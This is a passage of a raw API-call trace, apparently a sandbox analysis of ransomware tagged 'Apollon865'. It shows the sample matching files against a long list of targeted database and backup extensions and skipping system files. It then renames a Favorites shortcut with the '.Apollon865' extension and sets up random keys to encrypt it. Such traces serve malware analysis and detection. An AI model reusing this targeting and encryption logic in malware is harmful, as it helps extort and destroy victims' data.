	[0053.363] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0053.363] lstrlenW (lpString="dbf") returned 3
	[0053.363] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0053.363] lstrlenW (lpString="mdf") returned 3
	[0053.363] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0053.363] lstrlenW (lpString="mdb") returned 3
	[0053.363] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0053.363] lstrlenW (lpString="sql") returned 3
	[0053.363] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0053.363] lstrlenW (lpString="sqlite") returned 6
	[0053.363] lstrcmpiW (lpString1="rk.url", lpString2="sqlite") returned -1
	[0053.363] lstrlenW (lpString="sqlite3") returned 7
	[0053.363] lstrcmpiW (lpString1="ork.url", lpString2="sqlite3") returned -1
	[0053.363] lstrlenW (lpString="sqlitedb") returned 8
	[0053.364] lstrcmpiW (lpString1="Work.url", lpString2="sqlitedb") returned 1
	[0053.364] lstrlenW (lpString="xml") returned 3
	[0053.364] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0053.364] lstrlenW (lpString="$er") returned 3
	[0053.364] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0053.364] lstrlenW (lpString="4dd") returned 3
	[0053.364] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0053.364] lstrlenW (lpString="4dl") returned 3
	[0053.364] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0053.364] lstrlenW (lpString="^^^") returned 3
	[0053.364] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0053.364] lstrlenW (lpString="abs") returned 3
	[0053.364] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0053.364] lstrlenW (lpString="abx") returned 3
	[0053.364] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0053.364] lstrlenW (lpString="accdb") returned 5
	[0053.364] lstrcmpiW (lpString1="k.url", lpString2="accdb") returned 1
	[0053.364] lstrlenW (lpString="accdc") returned 5
	[0053.364] lstrcmpiW (lpString1="k.url", lpString2="accdc") returned 1
	[0053.364] lstrlenW (lpString="accde") returned 5
	[0053.364] lstrcmpiW (lpString1="k.url", lpString2="accde") returned 1
	[0053.364] lstrlenW (lpString="accdr") returned 5
	[0053.364] lstrcmpiW (lpString1="k.url", lpString2="accdr") returned 1
	[0053.364] lstrlenW (lpString="accdt") returned 5
	[0053.364] lstrcmpiW (lpString1="k.url", lpString2="accdt") returned 1
	[0053.364] lstrlenW (lpString="accdw") returned 5
	[0053.364] lstrcmpiW (lpString1="k.url", lpString2="accdw") returned 1
	[0053.364] lstrlenW (lpString="accft") returned 5
	[0053.364] lstrcmpiW (lpString1="k.url", lpString2="accft") returned 1
	[0053.364] lstrlenW (lpString="adb") returned 3
	[0053.364] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.364] lstrlenW (lpString="adb") returned 3
	[0053.364] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.364] lstrlenW (lpString="ade") returned 3
	[0053.364] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0053.364] lstrlenW (lpString="adf") returned 3
	[0053.365] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0053.365] lstrlenW (lpString="adn") returned 3
	[0053.365] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0053.365] lstrlenW (lpString="adp") returned 3
	[0053.365] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0053.365] lstrlenW (lpString="alf") returned 3
	[0053.365] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0053.365] lstrlenW (lpString="ask") returned 3
	[0053.365] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0053.365] lstrlenW (lpString="btr") returned 3
	[0053.365] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0053.365] lstrlenW (lpString="cat") returned 3
	[0053.365] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0053.365] lstrlenW (lpString="cdb") returned 3
	[0053.365] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0053.365] lstrlenW (lpString="ckp") returned 3
	[0053.365] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0053.365] lstrlenW (lpString="cma") returned 3
	[0053.365] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0053.365] lstrlenW (lpString="cpd") returned 3
	[0053.365] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0053.365] lstrlenW (lpString="dacpac") returned 6
	[0053.365] lstrcmpiW (lpString1="rk.url", lpString2="dacpac") returned 1
	[0053.365] lstrlenW (lpString="dad") returned 3
	[0053.365] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0053.365] lstrlenW (lpString="dadiagrams") returned 10
	[0053.365] lstrcmpiW (lpString1="t Work.url", lpString2="dadiagrams") returned 1
	[0053.365] lstrlenW (lpString="daschema") returned 8
	[0053.365] lstrcmpiW (lpString1="Work.url", lpString2="daschema") returned 1
	[0053.365] lstrlenW (lpString="db-journal") returned 10
	[0053.365] lstrcmpiW (lpString1="t Work.url", lpString2="db-journal") returned 1
	[0053.365] lstrlenW (lpString="db-shm") returned 6
	[0053.365] lstrcmpiW (lpString1="rk.url", lpString2="db-shm") returned 1
	[0053.365] lstrlenW (lpString="db-wal") returned 6
	[0053.365] lstrcmpiW (lpString1="rk.url", lpString2="db-wal") returned 1
	[0053.366] lstrlenW (lpString="dbc") returned 3
	[0053.366] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0053.366] lstrlenW (lpString="dbs") returned 3
	[0053.366] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0053.366] lstrlenW (lpString="dbt") returned 3
	[0053.366] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0053.366] lstrlenW (lpString="dbv") returned 3
	[0053.366] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0053.366] lstrlenW (lpString="dbx") returned 3
	[0053.366] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0053.366] lstrlenW (lpString="dcb") returned 3
	[0053.366] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0053.366] lstrlenW (lpString="dct") returned 3
	[0053.366] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0053.366] lstrlenW (lpString="dcx") returned 3
	[0053.366] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0053.366] lstrlenW (lpString="ddl") returned 3
	[0053.366] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0053.366] lstrlenW (lpString="dlis") returned 4
	[0053.366] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0053.366] lstrlenW (lpString="dp1") returned 3
	[0053.366] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0053.366] lstrlenW (lpString="dqy") returned 3
	[0053.366] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0053.366] lstrlenW (lpString="dsk") returned 3
	[0053.366] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0053.366] lstrlenW (lpString="dsn") returned 3
	[0053.366] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0053.366] lstrlenW (lpString="dtsx") returned 4
	[0053.366] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0053.366] lstrlenW (lpString="dxl") returned 3
	[0053.366] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0053.366] lstrlenW (lpString="eco") returned 3
	[0053.366] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0053.366] lstrlenW (lpString="ecx") returned 3
	[0053.367] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0053.367] lstrlenW (lpString="edb") returned 3
	[0053.367] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0053.367] lstrlenW (lpString="epim") returned 4
	[0053.367] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0053.367] lstrlenW (lpString="fcd") returned 3
	[0053.367] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0053.367] lstrlenW (lpString="fdb") returned 3
	[0053.367] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0053.367] lstrlenW (lpString="fic") returned 3
	[0053.367] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0053.367] lstrlenW (lpString="flexolibrary") returned 12
	[0053.367] lstrcmpiW (lpString1=" At Work.url", lpString2="flexolibrary") returned -1
	[0053.367] lstrlenW (lpString="fm5") returned 3
	[0053.367] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0053.367] lstrlenW (lpString="fmp") returned 3
	[0053.367] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0053.367] lstrlenW (lpString="fmp12") returned 5
	[0053.367] lstrcmpiW (lpString1="k.url", lpString2="fmp12") returned 1
	[0053.367] lstrlenW (lpString="fmpsl") returned 5
	[0053.367] lstrcmpiW (lpString1="k.url", lpString2="fmpsl") returned 1
	[0053.367] lstrlenW (lpString="fol") returned 3
	[0053.367] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0053.367] lstrlenW (lpString="fp3") returned 3
	[0053.367] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0053.367] lstrlenW (lpString="fp4") returned 3
	[0053.367] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0053.367] lstrlenW (lpString="fp5") returned 3
	[0053.367] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0053.367] lstrlenW (lpString="fp7") returned 3
	[0053.367] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0053.367] lstrlenW (lpString="fpt") returned 3
	[0053.367] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0053.367] lstrlenW (lpString="frm") returned 3
	[0053.367] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0053.367] lstrlenW (lpString="gdb") returned 3
	[0053.367] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.368] lstrlenW (lpString="gdb") returned 3
	[0053.368] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.368] lstrlenW (lpString="grdb") returned 4
	[0053.368] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0053.368] lstrlenW (lpString="gwi") returned 3
	[0053.368] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0053.368] lstrlenW (lpString="hdb") returned 3
	[0053.368] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0053.368] lstrlenW (lpString="his") returned 3
	[0053.368] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0053.368] lstrlenW (lpString="ib") returned 2
	[0053.368] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0053.368] lstrlenW (lpString="idb") returned 3
	[0053.368] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0053.368] lstrlenW (lpString="ihx") returned 3
	[0053.368] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0053.368] lstrlenW (lpString="itdb") returned 4
	[0053.368] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0053.368] lstrlenW (lpString="itw") returned 3
	[0053.368] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0053.368] lstrlenW (lpString="jet") returned 3
	[0053.368] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0053.368] lstrlenW (lpString="jtx") returned 3
	[0053.368] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0053.368] lstrlenW (lpString="kdb") returned 3
	[0053.368] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0053.368] lstrlenW (lpString="kexi") returned 4
	[0053.368] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0053.368] lstrlenW (lpString="kexic") returned 5
	[0053.368] lstrcmpiW (lpString1="k.url", lpString2="kexic") returned -1
	[0053.369] lstrlenW (lpString="kexis") returned 5
	[0053.369] lstrcmpiW (lpString1="k.url", lpString2="kexis") returned -1
	[0053.369] lstrlenW (lpString="lgc") returned 3
	[0053.369] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0053.369] lstrlenW (lpString="lwx") returned 3
	[0053.369] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0053.369] lstrlenW (lpString="maf") returned 3
	[0053.369] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0053.369] lstrlenW (lpString="maq") returned 3
	[0053.369] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0053.369] lstrlenW (lpString="mar") returned 3
	[0053.369] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0053.369] lstrlenW (lpString="marshal") returned 7
	[0053.369] lstrcmpiW (lpString1="ork.url", lpString2="marshal") returned 1
	[0053.369] lstrlenW (lpString="mas") returned 3
	[0053.369] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0053.369] lstrlenW (lpString="mav") returned 3
	[0053.369] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0053.369] lstrlenW (lpString="maw") returned 3
	[0053.369] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0053.369] lstrlenW (lpString="mdbhtml") returned 7
	[0053.369] lstrcmpiW (lpString1="ork.url", lpString2="mdbhtml") returned 1
	[0053.369] lstrlenW (lpString="mdn") returned 3
	[0053.369] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0053.369] lstrlenW (lpString="mdt") returned 3
	[0053.369] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0053.369] lstrlenW (lpString="mfd") returned 3
	[0053.369] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0053.369] lstrlenW (lpString="mpd") returned 3
	[0053.369] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0053.369] lstrlenW (lpString="mrg") returned 3
	[0053.369] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0053.369] lstrlenW (lpString="mud") returned 3
	[0053.369] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0053.369] lstrlenW (lpString="mwb") returned 3
	[0053.370] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0053.370] lstrlenW (lpString="myd") returned 3
	[0053.370] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0053.370] lstrlenW (lpString="ndf") returned 3
	[0053.370] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0053.370] lstrlenW (lpString="nnt") returned 3
	[0053.370] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0053.370] lstrlenW (lpString="nrmlib") returned 6
	[0053.370] lstrcmpiW (lpString1="rk.url", lpString2="nrmlib") returned 1
	[0053.370] lstrlenW (lpString="ns2") returned 3
	[0053.370] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0053.370] lstrlenW (lpString="ns3") returned 3
	[0053.370] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0053.370] lstrlenW (lpString="ns4") returned 3
	[0053.370] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0053.370] lstrlenW (lpString="nsf") returned 3
	[0053.370] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0053.370] lstrlenW (lpString="nv") returned 2
	[0053.370] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0053.370] lstrlenW (lpString="nv2") returned 3
	[0053.370] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0053.370] lstrlenW (lpString="nwdb") returned 4
	[0053.370] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0053.370] lstrlenW (lpString="nyf") returned 3
	[0053.370] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0053.370] lstrlenW (lpString="odb") returned 3
	[0053.370] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.370] lstrlenW (lpString="odb") returned 3
	[0053.370] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.370] lstrlenW (lpString="oqy") returned 3
	[0053.370] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0053.370] lstrlenW (lpString="ora") returned 3
	[0053.370] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0053.370] lstrlenW (lpString="orx") returned 3
	[0053.370] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0053.370] lstrlenW (lpString="owc") returned 3
	[0053.371] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0053.371] lstrlenW (lpString="p96") returned 3
	[0053.371] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0053.371] lstrlenW (lpString="p97") returned 3
	[0053.371] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0053.371] lstrlenW (lpString="pan") returned 3
	[0053.371] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0053.371] lstrlenW (lpString="pdb") returned 3
	[0053.371] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0053.371] lstrlenW (lpString="pdm") returned 3
	[0053.371] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0053.371] lstrlenW (lpString="pnz") returned 3
	[0053.371] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0053.371] lstrlenW (lpString="qry") returned 3
	[0053.371] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0053.371] lstrlenW (lpString="qvd") returned 3
	[0053.371] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0053.371] lstrlenW (lpString="rbf") returned 3
	[0053.371] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0053.371] lstrlenW (lpString="rctd") returned 4
	[0053.371] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0053.371] lstrlenW (lpString="rod") returned 3
	[0053.371] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0053.371] lstrlenW (lpString="rodx") returned 4
	[0053.371] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0053.371] lstrlenW (lpString="rpd") returned 3
	[0053.371] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0053.371] lstrlenW (lpString="rsd") returned 3
	[0053.371] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0053.371] lstrlenW (lpString="sas7bdat") returned 8
	[0053.371] lstrcmpiW (lpString1="Work.url", lpString2="sas7bdat") returned 1
	[0053.371] lstrlenW (lpString="sbf") returned 3
	[0053.371] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0053.371] lstrlenW (lpString="scx") returned 3
	[0053.371] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0053.371] lstrlenW (lpString="sdb") returned 3
	[0053.372] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0053.372] lstrlenW (lpString="sdc") returned 3
	[0053.372] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0053.372] lstrlenW (lpString="sdf") returned 3
	[0053.372] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0053.372] lstrlenW (lpString="sis") returned 3
	[0053.372] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0053.372] lstrlenW (lpString="spq") returned 3
	[0053.372] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0053.372] lstrlenW (lpString="te") returned 2
	[0053.372] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0053.372] lstrlenW (lpString="teacher") returned 7
	[0053.372] lstrcmpiW (lpString1="ork.url", lpString2="teacher") returned -1
	[0053.372] lstrlenW (lpString="tmd") returned 3
	[0053.372] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0053.372] lstrlenW (lpString="tps") returned 3
	[0053.372] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0053.372] lstrlenW (lpString="trc") returned 3
	[0053.372] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.372] lstrlenW (lpString="trc") returned 3
	[0053.372] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.372] lstrlenW (lpString="trm") returned 3
	[0053.372] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0053.372] lstrlenW (lpString="udb") returned 3
	[0053.372] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0053.372] lstrlenW (lpString="udl") returned 3
	[0053.372] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0053.372] lstrlenW (lpString="usr") returned 3
	[0053.372] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0053.372] lstrlenW (lpString="v12") returned 3
	[0053.372] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0053.372] lstrlenW (lpString="vis") returned 3
	[0053.372] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0053.372] lstrlenW (lpString="vpd") returned 3
	[0053.372] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0053.372] lstrlenW (lpString="vvv") returned 3
	[0053.372] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0053.373] lstrlenW (lpString="wdb") returned 3
	[0053.373] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0053.373] lstrlenW (lpString="wmdb") returned 4
	[0053.373] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0053.373] lstrlenW (lpString="wrk") returned 3
	[0053.373] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0053.373] lstrlenW (lpString="xdb") returned 3
	[0053.373] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0053.373] lstrlenW (lpString="xld") returned 3
	[0053.373] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0053.373] lstrlenW (lpString="xmlff") returned 5
	[0053.373] lstrcmpiW (lpString1="k.url", lpString2="xmlff") returned -1
	[0053.373] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url.Apollon865") returned 78
	[0053.373] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url.apollon865"), dwFlags=0x1) returned 1
	[0053.374] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.374] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0053.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.374] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0053.375] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.375] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.375] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0xc0
	[0053.380] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0053.381] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0053.382] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.382] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.382] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.382] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.382] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.382] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.382] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.382] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.382] CloseHandle (hObject=0xc0) returned 1
	[0053.382] CloseHandle (hObject=0x118) returned 1
	[0053.382] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.382] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.382] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.383] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1
	[0053.383] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.383] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="Apollon865.txt.exe") returned 1
	[0053.383] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".") returned 1
	[0053.383] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="..") returned 1
	[0053.383] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="windows") returned -1
	[0053.383] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="bootmgr") returned 1
	[0053.383] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="temp") returned -1
	[0053.383] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="pagefile.sys") returned -1
	[0053.383] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="boot") returned 1
	[0053.383] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="ids.txt") returned 1
	[0053.383] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="ntuser.dat") returned -1
	[0053.383] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="perflogs") returned -1
	[0053.383] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="MSBuild") returned -1
	[0053.383] lstrlenW (lpString="Microsoft Store.url") returned 19
	[0053.383] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned 67
	[0053.383] lstrcpyW (in: lpString1=0x119e664, lpString2="Microsoft Store.url" | out: lpString1="Microsoft Store.url") returned="Microsoft Store.url"
	[0053.383] lstrlenW (lpString="Microsoft Store.url") returned 19
	[0053.383] lstrlenW (lpString="Apollon865") returned 10
	[0053.383] lstrcmpiW (lpString1=" Store.url", lpString2="Apollon865") returned -1
	[0053.383] lstrlenW (lpString=".dll") returned 4
	[0053.383] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".dll") returned 1
	[0053.383] lstrlenW (lpString=".lnk") returned 4
	[0053.383] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".lnk") returned 1
	[0053.383] lstrlenW (lpString=".ini") returned 4
	[0053.383] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".ini") returned 1
	[0053.383] lstrlenW (lpString=".sys") returned 4
	[0053.383] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".sys") returned 1
	[0053.383] lstrlenW (lpString="Microsoft Store.url") returned 19
	[0053.384] lstrlenW (lpString="bak") returned 3
	[0053.384] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0053.384] lstrlenW (lpString="ba_") returned 3
	[0053.384] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0053.384] lstrlenW (lpString="dbb") returned 3
	[0053.384] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
